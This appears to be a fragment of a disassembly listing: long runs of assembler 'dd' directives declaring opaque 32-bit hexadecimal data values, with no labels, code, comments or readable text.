		dd 431783EAh, 0FC904456h, 0B23B5230h, 6E29C019h, 204C698Ah
		dd 98027156h, 90FEBE0h,	31EFA29Ah, 22AD0FBDh, 0A87E9270h
		dd 0F9A4C236h, 6E4A8158h, 0D36E9665h, 20D0A9A6h, 0D4AEB251h
		dd 5C990DCAh, 0DF97B34h, 706E5C6h, 0F7D04207h, 88A3947Ah
		dd 864B759Ah, 107CF460h, 0EC233B2h, 2865C806h, 70970806h
		dd 0CBD3D5DDh, 0AE512900h, 0D059EC41h, 45E98A8h, 0DD133721h
		dd 41CC0F0Dh, 0BC6316A0h, 0C112B474h, 0C24F228Eh, 57865AFCh
		dd 0D9E8B982h, 6D785CBBh, 0B0DC0767h, 4DD2F393h, 1C561944h
		dd 0FC31D3E1h, 7BEB8B2Dh, 0AC74E3B9h, 3E28E342h, 7C27C991h
		dd 96DDEF13h, 31F563DCh, 0C6DD6F06h, 0D7ED8132h, 86FE94D4h
		dd 418BCDE0h, 44582F63h, 4E7AFF41h, 0C7C53B70h,	6752E813h
		dd 0B94E3F52h, 75C90331h, 6EDD3CC1h, 0A8812C81h, 699E16DCh
		dd 0A3453451h, 83DBBE3Ah, 642A0C09h, 0D5FC72DDh, 0B98F6D60h
		dd 462DBA63h, 0DCB62B05h, 0E77BCF6Ah, 0E2D9DC3Ch, 0C7C2E3B6h
		dd 7A7C90FCh, 4FAAAE69h, 6579511h, 9C653E08h, 0FC1B607Dh
		dd 0DD1CAF09h, 41783256h, 271BA08Dh, 9BAE7945h,	7D4FB37Dh
		dd 6FBB7DB6h, 0D87DAA94h, 38F3DBE7h, 0AAAC340Ah, 781F8FA2h
		dd 0B78CDEC2h, 0B09ADB8h, 515929CBh, 34B7D34Ch,	0E93D2E27h
		dd 0F59B1DFFh, 0D4610D43h, 2DB9E648h, 0F1B51962h, 679E4739h
		dd 2B76D48Ah, 5C876AD4h, 0D6EDCD5Ah, 9D2187E3h,	0ED05FC94h
		dd 0A9A96433h, 0E1DBD0DEh, 2BF1A721h, 0E79DB810h, 0F7AD06CBh
		dd 0BE61D693h, 420E3D06h, 0BF109985h, 6A1E27FEh, 0B293234Bh
		dd 0BB5EAB3Eh, 6D11B42Bh, 0E7AA7C1Dh, 0C0742AC3h, 90DCCE1Bh
		dd 0F2426DF9h, 901EDD24h, 8CEF4977h, 0C2D0B881h, 8803341Ah
		dd 8902579Ch, 881006A6h, 39E7F6C2h, 432BE8F6h, 2DE093C7h
		dd 0E62CCE83h, 9D72B3EEh, 4BABE142h, 0F01ADAF7h, 522DAFDBh
		dd 0BDDCFE90h, 0FDE5032Dh, 2DA19D34h, 0FF0D57ADh, 0EDF2D652h
		dd 71312824h, 3A0B181Fh, 0B7533CBDh, 4C5E5D15h,	3CB4ACEBh
		dd 9272D315h, 337CFA96h, 0F208A39Ch, 0DDCB9275h, 96F7F99Eh
		dd 22BBF9E4h, 0CFAB8FAFh, 0AF40B886h, 2F1E6DDAh, 827CFA18h
		dd 9B8800AEh, 878A00C7h, 49166C98h, 2FDF0F7Fh, 5DF8E969h
		dd 0CADA6246h, 5C99E9E4h, 184AC4FAh, 0F8BC6B54h, 6455AAE2h
		dd 3EE939A4h, 0C583A764h, 0E173BFEDh, 0F0920F03h, 0AB83A3C4h
		dd 0BB3A7503h, 504452F7h, 130C91EEh, 2DC1D324h,	7C05C72Eh
		dd 4C88FA19h, 0C6EAFDC5h, 9CB10B55h, 2DD095B8h,	0F0477B27h
		dd 0C5B2780Dh, 6061FCA2h, 82E84A58h, 5896D20Bh,	0E411DA56h
		dd 776B2417h, 0C627365Eh, 6DA809FEh, 0AE16489h,	893D0956h
		dd 87B213D8h, 5AFEAA02h, 3A28E161h, 0D7A758ABh,	4F655339h
		dd 5F56574Eh, 0E3D338E7h, 83ED6A29h, 8232E78Fh,	0E96DA843h
		dd 0B48CA9A6h, 0CBDAEE31h, 65A2C99Ch, 266699D7h, 0E952D663h
		dd 0F5741E14h, 1293F49Ah, 7AEA18E3h, 971E2ADAh,	9EAF4496h
		dd 0C5CF81B1h, 4BAA69ACh, 0A29A1D09h, 0C772AAF9h, 0E2F2838Dh
		dd 3C6A8978h, 0A37BE276h, 889E3FC7h, 0DE3CAB69h, 3F9A93C0h
		dd 65F3CE4Fh, 4564404Ch, 15B4134Bh, 0F59661E5h,	0C49FF04Bh
		dd 0C208A0B2h, 0DD301B9Ch, 0E16EC1E9h, 0C7361h,	7E4FCB62h
		dd 3395BFD4h, 0D4FD34F0h, 3BB615C7h, 0F7683FA3h, 19EE1410h
		dd 4689AB19h, 5AAE0C6h,	0FC9A8078h, 97D24B61h, 0D2A7173Eh
		dd 4372E038h, 6F222EC0h, 0BE5ADF1Ah, 85348791h,	416F04D6h
		dd 836631D4h, 91FFDFD4h, 98F4D649h, 0B947A9F9h,	411DF21Ah
		dd 2C329CA7h, 0DA130D15h, 2DC788AFh, 77E8307Ah,	81D32DD5h
		dd 0B5D7ED9Fh, 315874A0h, 4960EEF6h, 17060AECh,	600913Ch
		dd 1892A4BFh, 0C9C32E7Eh, 55F3DF85h, 63D9BC45h,	0CEB9D17Dh
		dd 58DD6690h, 11A74EDBh, 20B576A5h, 0CA75AC8Ch,	9EEE70A7h
		dd 324F2DB3h, 3F85745Ah, 0F78B02B1h, 0A42E14EEh, 41524D00h
		dd 0D40E58FDh, 57519EB3h, 0E545F78Bh, 26451BECh, 57A17065h
		dd 992C4E83h, 0F246EF1Bh, 0A16C2657h, 0F98447CEh, 4F9EA227h
		dd 0A74833CBh, 1F294B76h, 0D8F9D5D7h, 9572AC54h, 8A6BBB2Dh
		dd 0F0F0D849h, 64492448h, 8FA18F40h, 47C732D5h,	0DDBE4771h
		dd 39840B66h, 0F203ED6Dh, 0D4757A2h, 798251E6h,	966B5233h
		dd 0F956964Dh, 0AC91B9A6h, 0C174806Ah, 1C2C125Eh, 0CCE36261h
		dd 7454F115h, 0B5BFE020h, 8E5FC5D3h, 4679589Ah,	3BE9202Fh
		dd 0C7ECB750h, 0D37534DEh, 88A6DC55h, 0EB07FB1Ah, 0EE393A32h
		dd 3A64B63Bh, 9E8EEDDFh, 54E5680Ah, 0BB5D7B41h,	2F1629BDh
		dd 0B83683A4h, 2994D5E0h, 9066A9E7h, 2E109547h,	6A343878h
		dd 0B4091749h, 64164024h, 3692C3C3h, 7C967071h,	52C82A5h
		dd 38A6CFA7h, 0E0CA7642h, 0C541A723h, 683DC0CBh, 32A091Dh
		dd 0CC67F960h, 410F04BAh, 53073C51h, 7FF434ABh,	0BB335927h
		dd 0E242D38Eh, 0BA81FFF8h, 0A301147Bh, 0ED630F8Dh, 0B3EEA063h
		dd 7075A6B9h, 14D2627Bh, 54E0FD52h, 79BE7AFFh, 5931ABEAh
		dd 618FA280h, 6182AA44h, 741F0D71h, 0E9DAC7F9h,	27CC6E73h
		dd 3E52F52Dh, 0CD464F38h, 716EF79h, 9406C6A7h, 9FEF0B92h
		dd 8F11472Eh, 0DE887B6Bh, 1BB5BE68h, 0AE505960h, 94D24160h
		dd 6BB0CAE1h, 5138F1D5h, 0DD270D4h, 9E727897h, 2E4FB930h
		dd 0BE99A46h, 4B756260h, 3D032C3h, 0C7A14706h, 303EDE37h
		dd 0A36A8A1Dh, 43035ECDh, 89DE553Ah, 73E56472h,	283B0AFBh
		dd 40C44A3h, 53B34DA7h,	0C898702Eh, 988670Dh, 0E9E4F50Dh
		dd 0F202890Dh, 8FEF835h, 62F115E7h, 3F96CEF4h, 160F301Ch
		dd 0BEA6AADFh, 40AA5429h, 53FE34B1h, 358DCCEEh,	0E197EB9Eh
		dd 0BA1CE921h, 0D2B4A671h, 0D2C632D3h, 0C8E9F5CDh, 87180A6Fh
		dd 52F645EAh, 8C6A7618h, 115E255Dh, 0E24F72A0h,	94EC59C6h
		dd 0C0C2D12Dh, 988D110Fh, 0E334A45Eh, 8A5AE4CEh, 0D9D700C8h
		dd 9AA540A6h, 0F6C54C1Bh, 0F2209153h, 1FAF0692h, 7CD9334Dh
		dd 8E860896h, 21561033h, 9BBB5FFBh, 0CF176FE1h,	27DF6500h
		dd 0EE20CE55h, 1581525Eh, 979717h, 66E91D94h, 0CF432D46h
		dd 0DCC79FEh, 1CCAAA37h, 1768B6A8h, 4544B74Eh, 8B2312D4h
		dd 0B8267377h, 0A3F6A30Ah
		dd 60D1E50Dh, 28D130D7h, 4350EFB2h, 67E16F66h, 0C254CAD3h
		dd 4B867C8Ah, 9F0FFDD8h, 990C82Eh, 0DA20B6FCh, 6F3DE515h
		dd 0BCEABAA3h, 0EC1FF2C9h, 0DB1C213Fh, 49286BF7h, 0F2D70843h
		dd 0F193A63Ah, 0E50DC628h, 0F17E3E81h, 0DDE8B97Fh, 0E146BFCDh
		dd 253C0B9Bh, 3AC87595h, 9B6522D2h, 0D2CE7EF4h,	25C009A1h
		dd 0BA9AEh, 0E7B76FD7h,	0B0C55D38h, 0CFD316E1h,	0A2FBEE37h
		dd 60B30C04h, 0DD1918BCh, 6F3E0551h, 0E2D0A9D8h, 33F2965Bh
		dd 0F145116Eh, 0C0377B5Dh, 627ED9BDh, 8CDD6FA0h, 289FFB20h
		dd 0BF4FD067h, 6DC231CBh, 0DA42A3BDh, 39CF13F5h, 9D63CA03h
		dd 61A4E4ADh, 0E9B11296h, 73636FAAh, 369A44B4h,	0C215BE75h
		dd 0A34EEF8h, 0DF0C04B9h, 0B0D3002h, 0E84987EFh, 6B6431C4h
		dd 984E894Fh, 76D6849h,	0DD70112Ah, 2B64246h, 59FF5EA6h
		dd 2669E11Dh, 0A933D0A5h, 0AC20D16Dh, 92371AC7h, 0C689DE8Dh
		dd 46658E3Ch, 0DC8F0CEFh, 553AB40Fh, 485D40D7h,	0A254D8B8h
		dd 4550DF37h, 0B345E70Ah, 8DABF85Eh, 0AF0F8B73h, 64E08EDBh
		dd 66E3C75Ah, 6FC32B40h, 6DFBCCEDh, 4C399E9Eh, 0BC17C3DBh
		dd 551318B5h, 3057665h,	0A12A7F50h, 126AF484h, 7D12770Bh
		dd 57471396h, 0B2AA60E4h, 4CB05C71h, 89E650E6h,	5B34BA1Ah
		dd 84AFE387h, 4DDE8700h, 2839BD98h, 5733F7ECh, 9C4F7ACAh
		dd 643C8D73h, 91456D9h,	0FF3C1245h, 0DB9B5AD7h,	201197D0h
		dd 0F2D79FF6h, 0AA291827h, 0C9FE5B37h, 0AF465D4Fh, 8988C272h
		dd 9EC2F41Ah, 6FBD02C5h, 0E8F5C883h, 0AFD56CA7h, 0BEEB935Ch
		dd 0E2F07246h, 995A0E90h, 0CA9B7CF3h, 0C5DAB1A6h, 4E8C7386h
		dd 5E53B98Dh, 0A456D4B0h, 2F891A25h, 0D56BB735h, 3D36D685h
		dd 0A751EEB5h, 8FBD15D0h, 0B7E964F8h, 0A9851FE4h, 3C951F7Fh
		dd 14FE339Eh, 814E1DD0h, 7B6B76B5h, 0FDBB4BFEh,	91AF5020h
		dd 0BE14517Ch, 0BD1E3526h, 0E4B46C7h, 2C1AAE81h, 3E2B1FC8h
		dd 5B9B0B8h, 0A9DD9F09h, 0E5DCF92Dh, 471FBBA8h,	1FA16218h
		dd 0EA65CDF3h, 98B25734h, 8207FF4h, 0DE09F704h,	56E0225Fh
		dd 996FA635h, 98E42575h, 12505A33h, 57A3CA44h, 60F9A179h
		dd 12367FB8h, 3BD95B13h, 215E5EF2h, 1DCF2087h, 7EE3D58Bh
		dd 319EFA2Fh, 78133845h, 70211636h, 0CD3C24B6h,	0F85F0E0h
		dd 0B2AE112h, 72B52B30h, 0F2E8A165h, 0C62E6D44h, 81577471h
		dd 4AE9CF6Ah, 7CA9CD11h, 28A2A1EBh, 0BC96E828h,	90FB7D87h
		dd 0B9951D8Ah, 29E5D674h, 9BEB748Dh, 97E8546h, 0B311A691h
		dd 3ABFA6D7h, 0A59FD078h, 0AE212729h, 0BCA5AE0Ch, 0E011BBBBh
		dd 0C10635C3h, 0B33CCDD9h, 0ACBB4B59h, 0A40FF900h, 0ACE69AFFh
		dd 0F2033B96h, 0DAD4110Ah, 37938A95h, 0A3B35FD9h, 0F8717CCCh
		dd 0BB223382h, 45B0A976h, 0B70473C7h, 34CC73CBh, 64751365h
		dd 8C81A5C8h, 3974BA40h, 0EBF46CAh, 9131BB41h, 1AF6DA8Ch
		dd 0D44DAC0Eh, 2D049B00h, 17C08990h, 80959B51h,	0BDC7411Dh
		dd 0EAF2DBEDh, 0D2A10032h, 70C1928Bh, 3A57138Eh, 7899CB89h
		dd 1CE06AD1h, 3DF9202Dh, 8C91F636h, 17F99F09h, 0CB8CF32Ah
		dd 3447986Dh, 0DC0B01FCh, 48B37259h, 953C3549h,	0B4EAD440h
		dd 0A2B4441Fh, 497AC220h, 0F6602C0Bh, 53508424h, 791814C2h
		dd 0F3900D8Ah, 0BFC567B5h, 5956DD95h, 0B9DE635Fh, 0D5049B2h
		dd 0A060E040h, 8BEF97FDh, 1C43FD24h, 35958B90h,	9DAEC598h
		dd 0C4831C3Ch, 53A7F5E8h, 0A209894h, 0BBC84D22h, 0B16A8D81h
		dd 0CB630F77h, 7A2016F5h, 7FB143ABh, 2455EE56h,	794DC6E9h
		dd 20A7C5BBh, 8643C8E7h, 0E59DA6A9h, 93277EBFh,	0D9A7AA94h
		dd 0B4F96903h, 25D1CD3Ch, 2EA35D70h, 68459F10h,	0F4F9BE6Fh
		dd 0CD974912h, 0BFBD6D89h, 90361CDBh, 8CFC289Dh, 0E90CDB15h
		dd 26C632D4h, 49C33A6h,	8B87F3FEh, 38A54403h, 0BBF545DFh
		dd 0C6D53DFAh, 258C4122h, 0C45EA811h, 43C12BCCh, 6FCD6908h
		dd 98C1AD74h, 59E7D7AEh, 842E2980h, 0C47EF6AAh,	5483D004h
		dd 8FD423BEh, 0DF62CDBAh, 0D1E6455h, 7FAA819Fh,	64C4B303h
		dd 7237EAA3h, 0B859A25Dh, 0A57BB8EDh, 98797955h, 0C04E04D2h
		dd 0EEBF76D6h, 0CC96FC95h, 0AD6386A0h, 7DD68BD7h, 0C1092231h
		dd 2041CD72h, 11931BF3h, 0E820BCA0h, 0C3A45B85h, 67D0F560h
		dd 0B63C106Eh, 0AB67B476h, 141B250Ch, 0BADC2CCFh, 5FD8241Ah
		dd 0A45D6BD5h, 0A2A1D847h, 0B3E326BBh, 0B647E5CFh, 4B706DF0h
		dd 0A4165760h, 0C92C4B22h, 7355F62Bh, 0A7F7A0B5h, 4B01A6CCh
		dd 8F16F4Eh, 0E53A0B8Bh, 72DEB081h, 0F323023Dh,	0FFF25A50h
		dd 990625C0h, 8B3E7C85h, 64AD47D4h, 88FEE904h, 0B88F37BDh
		dd 2F69148Ch, 220F7177h, 632BA726h, 5B573BC1h, 8A06BFDBh
		dd 0D23A3F92h, 842EF062h, 3EE1BEF5h, 426E89C8h,	62941D7Ch
		dd 95B014CFh, 94D6B019h, 0B0DE7933h, 4CEFFF5h, 59C11FC1h
		dd 7D37B53h, 582BA9DBh,	9482FE03h, 93708297h, 612F2F51h
		dd 36D574F2h, 0C2FDB08h, 0B8F1775Fh, 0D849D553h, 42955DD5h
		dd 5018F6Ch, 0C9DCF608h, 0EEFE81AEh, 523566B1h,	2F4BB575h
		dd 0AF7CA12Ah, 0EB1A22B7h, 0CB99DCF1h, 6356E3CCh, 5BAC2969h
		dd 84917E4Dh, 10BD9F7Ch, 51D73F61h, 0D73D798Fh,	6AF64FD1h
		dd 0C642FA25h, 1E730F6Bh, 0D4524C01h, 3AC320C6h, 8315ECCEh
		dd 81BD168Fh, 0E1A4C15Bh, 853F2618h, 3998250Dh,	1FC798A2h
		dd 0E53EF0A1h, 0B3DEE6BAh, 0DFE64AFDh, 0EC39829Ch, 47096BDAh
		dd 288FD2BEh, 9A46AFD1h, 622A9C7Bh, 0A6497F7Bh,	21160EF7h
		dd 0AAB54589h, 57DCA2E5h, 0F78A6861h, 375EECB6h, 0AB4155C6h
		dd 0D873D3E3h, 0E1796EF4h, 1E5DA67Dh, 0D07B805Ah, 0A0478278h
		dd 4F02F04Ch, 0F4BF8573h, 0A5997302h, 170EB558h, 585E49Ch
		dd 73FB7980h, 32C1B0D8h, 43595178h, 8ACEC69Fh, 9EE18A03h
		dd 82DF5AD1h, 225155A3h, 66BAB145h, 0B7F9ED89h,	152FF6CBh
		dd 3D3682A7h, 0C31EB5E4h, 8F823594h, 76219FB2h,	0F126ECDFh
		dd 0D0346E54h, 0D594F575h, 4A8F4288h, 0C1DF969Ah, 6CEB5C62h
		dd 5317683Ch, 0DB510EE2h, 0EFB43BBh, 0F2F5672Dh, 1A7925E3h
		dd 0F2AE7A19h, 0F6E9FF00h, 85FDB9A3h, 2F69876Bh, 391BB187h
		dd 0A2E827AFh, 904A1B4Eh, 0DA84AF9Ch, 841E1BD6h, 6A517600h
		dd 1DBD61A6h, 6B29057Eh, 737D962Fh, 0FDCEC07h, 1BFBA793h
		dd 0E4A25B20h, 0C3C669C1h, 0AAA4DB3Ah, 0F51832F9h, 23830661h
		dd 0FA6DBD18h, 0CFB29DFEh, 126B0AD6h, 733F1868h, 7EFDF571h
		dd 20E99F53h, 7B4B236Dh, 1B258ABFh, 0CCF65E3Eh,	40D422B4h
		dd 0C5E7AE34h, 7B00143Dh, 60315581h, 6C95EA3Ah,	0C6DD2743h
		dd 320ABD7Ah, 0AD4D3697h, 92A1077Bh, 395918D7h,	5400C8EAh
		dd 0CC01C701h, 61CCCD77h, 5EE049FAh, 0F0ECBFEAh, 22B87389h
		dd 5A7F0B7Bh, 5F76A79Fh, 64BC7697h, 38D789D6h, 545F6789h
		dd 4210D4FBh, 0EC08B7C0h, 45ED4140h, 0DDD72DB8h, 1F90D60h
		dd 0F252ABDEh, 70712407h, 636981CFh, 43B9A434h,	0D5E9CA96h
		dd 0E13A3E02h, 544DF2A2h, 4EC8D8AAh, 513AD9D8h,	0A32F55BDh
		dd 916BD5DBh, 0E7AFD93Ch, 0B2DB6D40h, 0EFFBF37h, 1C918D42h
		dd 4D6EB13Ah, 35531A24h, 52690836h, 6CF56378h, 1CFC2632h
		dd 9EE34EEDh, 0C2F36E34h, 2C0F1417h, 773EF8C9h,	0AA817E18h
		dd 0E09E7AA9h, 87E67E8h, 0A6A44FF8h, 9B9C4F48h,	2AA7AE5Ah
		dd 234912ACh, 0FE0B41D4h, 3C2B2A04h, 25237184h,	0A1CAB741h
		dd 0E9BD8CC5h, 0F0B60E64h
		dd 54492400h, 8DD5A94Ch, 7076ACA4h, 0D377717Eh,	0EEFA6BD5h
		dd 41ED6E8Dh, 7D0BEDE6h, 0FE8D1836h, 0E1069FEEh, 4FCD55DDh
		dd 0C6574458h, 7A65198h, 0B0FD1248h, 0F1E1D77h,	23F0431Bh
		dd 0B93D136Bh, 7B30D7F5h, 0D846D03Ch, 0A8E917C8h, 0CC10BA51h
		dd 9FB5FCBh, 0ECAC9266h, 7F1EA6AEh, 70BFC7D1h, 764B3969h
		dd 0FCFFFB47h, 0E5504912h, 0AEC9DDCDh, 414848C0h, 0C956D1B8h
		dd 68A73CF4h, 0ED391BF7h, 184E6685h, 0EFC3CF89h, 420A2D36h
		dd 9FBA46EFh, 0E0A40B8Fh, 5BFD0BE6h, 45C1B521h,	0ED68ACC2h
		dd 68E4E5D7h, 7FC4E134h, 44BED8BFh, 516CCF2Ah, 0C3135B78h
		dd 48D7780Fh, 9E05F117h, 0B335F6F6h, 0F7BA9148h, 0AEBF934Fh
		dd 86EAA013h, 0EB5E4067h, 4CAB0156h, 0E43DFBDCh, 0A8B64457h
		dd 52780634h, 0ECA49A16h, 6283F56h, 5444E5FBh, 11B143EFh
		dd 0C2E93FF3h, 513AD70Bh, 37F472F2h, 0DAEC3807h, 0CB6E6676h
		dd 0B05F0C87h, 0FC2F7A9Dh, 65F0823Ch, 14DC431Dh, 8BF7AC3Eh
		dd 911B92E1h, 7A775156h, 97411874h, 0A2E26BC3h,	0C0525BB4h
		dd 0BB8AB210h, 56919A4Fh, 79EEB558h, 61A8C6h, 4A105635h
		dd 4D217E61h, 0C5E017F6h, 0B12AF91Ch, 8658D812h, 696EA1C9h
		dd 6ACAD1BEh, 8D5EE43h,	37E48CC0h, 6A2C3D19h, 207DEAE2h
		dd 1C04DE18h, 7F651A36h, 0B10BD1B5h, 9F3BBA40h,	0D86806B4h
		dd 0A62A3117h, 4EDB0093h, 0D165A1EAh, 2DA3AF3h,	654D3306h
		dd 2D5C4DC0h, 72FCD1CAh, 0EF0E1AF3h, 0C6BEECD6h, 447D1204h
		dd 145669EEh, 0BFEB14B6h, 8F3BF3E5h, 0E2BE9C9Eh, 0B82D5504h
		dd 86F11DA8h, 0F1FBB08Dh, 0AEB103Ch, 6F6556A6h,	0F873A8C2h
		dd 56F5EEE2h, 2AB3B0F6h, 0BDAEC240h, 9C27BEB6h,	8A8B4AF1h
		dd 0B7506F23h, 349D4FEDh, 5ABC0242h, 4C75C937h,	6740DACCh
		dd 0AEB19094h, 1A3E2E7h, 0C563FBCCh, 0FCAAD08Ah, 3576A1C4h
		dd 31367B55h, 1A3980CFh, 3E00BACh, 0D26E9C26h, 0DAB595F1h
		dd 0BBB6BF57h, 6D9FA40Dh, 4EFAA7B8h, 6ED08943h,	372E8404h
		dd 50464648h, 0E46ED4C5h, 0A71DACF8h, 0CE01F081h, 0CAF7819h
		dd 0BEF60E98h, 0CC4A65D1h, 4960EF3Eh, 0C0C16FDCh, 4A1EDFCDh
		dd 0A7499262h, 575F790Bh, 0F79E64B6h, 0A915E221h, 30D15B26h
		dd 0A61B2700h, 8441B4D5h, 0EC5CABA8h, 0C1F50C21h, 0D9FF7CE3h
		dd 0AEAB19BBh, 4DCCB968h, 0E5707E14h, 0ED235987h, 0F36314A3h
		dd 4141BD70h, 932226E2h, 64600EA0h, 510246F3h, 0A2AC9659h
		dd 86A34204h, 0CB583E1Ch, 0EAD08C81h, 5C914681h, 13766424h
		dd 0A8BA2218h, 49785CF1h, 0ED1B4686h, 900EF80Bh, 84145309h
		dd 0D6EADE32h, 2E7E79C7h, 5277F9BEh, 0A516AC08h, 52E86A71h
		dd 80DE116h, 3F334B49h,	4CE3A724h, 71BBD976h, 0E9DD43D2h
		dd 5D353FD9h, 665A5B15h, 50D46DF9h, 0C2BC0192h,	58ABBC19h
		dd 1517940h, 9DC9536h, 27633F44h, 2C1788B3h, 0AD664D2Ah
		dd 0AFB635E2h, 34DCBFB0h, 641CC38Ah, 77456CB8h,	887D0DDEh
		dd 91017DDCh, 974CF4B4h, 15B84667h, 4979F3A2h, 90CF18F5h
		dd 60A2E0BAh, 89FAE5EDh, 83DCFDD9h, 5607CFAEh, 0C21E4D01h
		dd 0A5831FB6h, 0C2EF50ECh, 0C391AC6h, 0C33FD5F6h, 4A14CAD3h
		dd 2BA988D5h, 94EACD2Ch, 0EF07A8Ch, 0E5DD08C6h,	0DF367878h
		dd 79B9993Ah, 182D938Eh, 55655A7Fh, 5EF3B4AFh, 17B7DDFh
		dd 0E3167212h, 49C0962h, 0B85960EBh, 8EAB365Bh,	2A7077F6h
		dd 6AAA5126h, 0CAB025DFh, 941B5DCh, 0DCC6F3E0h,	721551E6h
		dd 97066AC9h, 27B89A4Eh, 83D7B102h, 77440C2Ah, 574936FAh
		dd 2EDEE6D6h, 0C212CB96h, 32C9E0A8h, 0F223B3A5h, 7EDF9641h
		dd 0D4226864h, 0CFE8F9E1h, 6F5FCF4Ah, 8569103h,	85322277h
		dd 82E18900h, 2D174690h, 0FB77D8D4h, 0B187A7Ah,	0DADF2134h
		dd 4F1E97B0h, 0F0DF6F0Bh, 2A2C1F4Dh, 4CFE2089h,	28E36D8Ch
		dd 0DC67ADA1h, 0AD65FF1Ah, 745394BCh, 9249EC85h, 6E40FF00h
		dd 840FBA42h, 0D9321513h, 2364D0FBh, 0C4E3D65Bh, 235F18E5h
		dd 0F963469Dh, 2D0EC12Bh, 9D6E3CA3h, 83091817h,	0BE0D3C8Bh
		dd 0E1022950h, 0A071766Eh, 0D77D5574h, 1C23BDE4h, 44773DF7h
		dd 180323F4h, 0B84A9837h, 9C8F596h, 9FB7AEF2h, 5C28C84Ah
		dd 6063C202h, 0FC8E00F2h, 0D494C403h, 0FD53A97Fh, 60BF001Ch
		dd 4795EDDEh, 0CE945399h, 0C5371301h, 62FB959Bh, 11F69917h
		dd 0E66CAE7Dh, 2FA8B7DFh, 3240976Bh, 0E5019F17h, 80BFCB51h
		dd 6613D70Fh, 0F02940CDh, 0C19D2Fh, 0F4FE2632h,	46808391h
		dd 470752B2h, 465C35BDh, 6BFA240h, 431D060Dh, 1960D16Fh
		dd 0CBC2DAEDh, 0FDFBDB0Dh, 2B9ACE0Bh, 94D17782h, 1FE1B0B5h
		dd 10F5B565h, 2557E84Ah, 1D83B7Eh, 0EE567FB6h, 0B1306E73h
		dd 337DCB4Fh, 425FA9C8h, 9E5DDDD1h, 0DB981C94h,	0FA4A8806h
		dd 61BBC2E6h, 0F0774807h, 0D6683A45h, 0D6D22DDBh, 0B5E061DAh
		dd 0A3871CA9h, 9D5C2C60h, 977EF7BEh, 9388D28Fh,	71BF6DE2h
		dd 738A3C5h, 0F6DCF934h, 9DA86B8Bh, 20E4FB1Eh, 0C27A1C60h
		dd 0CC733022h, 5E1EF382h, 5C17CEF9h, 0E1D901AEh, 3104A9ACh
		dd 0EF0B6E74h, 9A4B1A72h, 46CADD47h, 69691B23h,	0D5461F92h
		dd 1BC16E7Bh, 5AC33181h, 5A40F121h, 59EE7Ah, 95B20D94h
		dd 9D678269h, 9E4E2CBh,	0DBE1BC8h, 0D9CD444Bh, 529820F9h
		dd 0B197504Ah, 0DA11A96Ah, 6A2CD90Fh, 6C3B1706h, 0AFA16ACDh
		dd 2B91477Dh, 0DE6C0AFEh, 6D49F2BEh, 96930DC0h,	8380CADEh
		dd 8FCE371Ah, 0A2A3F289h, 74AF3E9Bh, 7BABCBF2h,	22D6A331h
		dd 6E88892Ch, 8AA4E881h, 0DA80C9ABh, 595604B0h,	2D405B9Dh
		dd 68B738C4h, 44D9F07Eh, 6185DA88h, 0C382F15Fh,	38C7CDD0h
		dd 0D984223Ch, 0F34DE2ECh, 46C54E6Eh, 26A8B627h, 98E2713Eh
		dd 933FED3Ch, 0DC4B4EC2h, 99661A7Eh, 0D61DB9A1h, 0A7C7CEBAh
		dd 18FF8F07h, 3AEA0E85h, 31B14BB3h, 81A375A9h, 539267D7h
		dd 0BF10D219h, 0D18118F2h, 55C384E4h, 38146C21h, 0EFF1B06Bh
		dd 6A072A2Fh, 1B0F4975h, 85331E13h, 8A20CA7Bh, 5FACAC86h
		dd 0CF314915h, 0F9A86475h, 71AFF676h, 0A9D118E5h, 7BA551C7h
		dd 9B1326D2h, 3D9803B8h, 0EAE5A5B1h, 338E3803h,	0AB33E65Eh
		dd 0EC7BA101h, 716D143Dh, 0CB6296D5h, 24A47186h, 78D9152Fh
		dd 187FCAAAh, 9867CAC0h, 7003F50Bh, 80D56A9h, 0D7E85282h
		dd 0B3D3A3AFh, 9B95851Ah, 2431AB02h, 0DC4A0369h, 0A1316BCDh
		dd 0F870454Ah, 2478C4A5h, 393D75ADh, 0BEDC93Ch,	0ABF75E3Fh
		dd 8EF7E1C6h, 1BA6057Ah, 1DE6E4B3h, 0EAB0C589h,	6FC23D04h
		dd 0E2830061h, 7C35D4A2h, 2988B744h, 9E90DE7Eh,	7346CBECh
		dd 0C5963D48h, 466CD463h, 8DD5689Dh, 5C49F9DCh,	705C8637h
		dd 0AD859E5Dh, 631C8417h, 2DE3A7E2h, 0F65B3E92h, 0E5803852h
		dd 0A180AF6Bh, 507ABFFAh, 55B7A6D2h, 0E5B3BFF1h, 0CF97E3DDh
		dd 0E9368EC5h, 0D6CF7E24h, 44548304h, 0DDEA5E01h, 0A2848ABh
		dd 0CA0FA740h, 3B4995B1h, 6341F4FDh, 37629934h,	782536Dh
		dd 0E28AE0h, 0FD2D56B8h, 0D34A402Fh, 9F7995Dh, 61CF7A30h
		dd 0FD32E0C4h, 5CDD0797h, 471105FFh, 0BB62654Bh, 919CDAF7h
		dd 0BF46D563h, 0A7D63507h, 0CE376830h, 8E8DC8C7h, 0E72A21EAh
		dd 0DDCB1FC3h, 0B62284B3h, 4A8A8222h, 3170F6A0h, 4F55B3ADh
		dd 50D6525Ah, 0E21EFCD3h, 95A807E3h, 0C5CA49E6h, 6B972189h
		dd 3FC14B52h, 1413795Dh, 2EF690F8h, 0E84B3FBEh,	0D3FC0EB1h
		dd 0CB3DEC43h, 0BA7785E0h
		dd 40A9FE66h, 0F8BB3541h, 0E03225AAh, 0B6715B27h, 0ECCAE5D9h
		dd 0A7BD1EB8h, 0F08D4D34h, 0DD67FD7Dh, 0EB861DEh, 0EACD2ECBh
		dd 630C316Ah, 0BD1E2FABh, 2DFA28A7h, 0FF6C5D44h, 55E24058h
		dd 9FD2C75Ch, 0BC32655Eh, 0D3DE8520h, 4AC4F267h, 0A5D3A6B4h
		dd 9D64C27Eh, 0EF88490Fh, 82829481h, 43969404h,	818580D3h
		dd 0ADBE2D7Bh, 6A7A608Eh, 77B6AE9Bh, 0FFE355F4h, 9D6EF940h
		dd 93635B3Ah, 0C672EE32h, 0CC136CBEh, 0B9629DE9h, 0E50DA2CBh
		dd 649D80F1h, 62DF3BDh,	0DF9A74Dh, 5F268BBDh, 3AE8FE66h
		dd 976166E5h, 0D1A0285Fh, 0A03E5CCCh, 900AFF86h, 0BF26A580h
		dd 6C22081Ch, 20E31FF0h, 0F3A3B00Ah, 3E96C5BDh,	0C4CF5CCAh
		dd 54D49B65h, 8749A691h, 0FCA1E813h, 75B2D223h,	28034CCCh
		dd 0A08266D9h, 0F075C51Fh, 0CFC761FBh, 8225C457h, 6D111EF6h
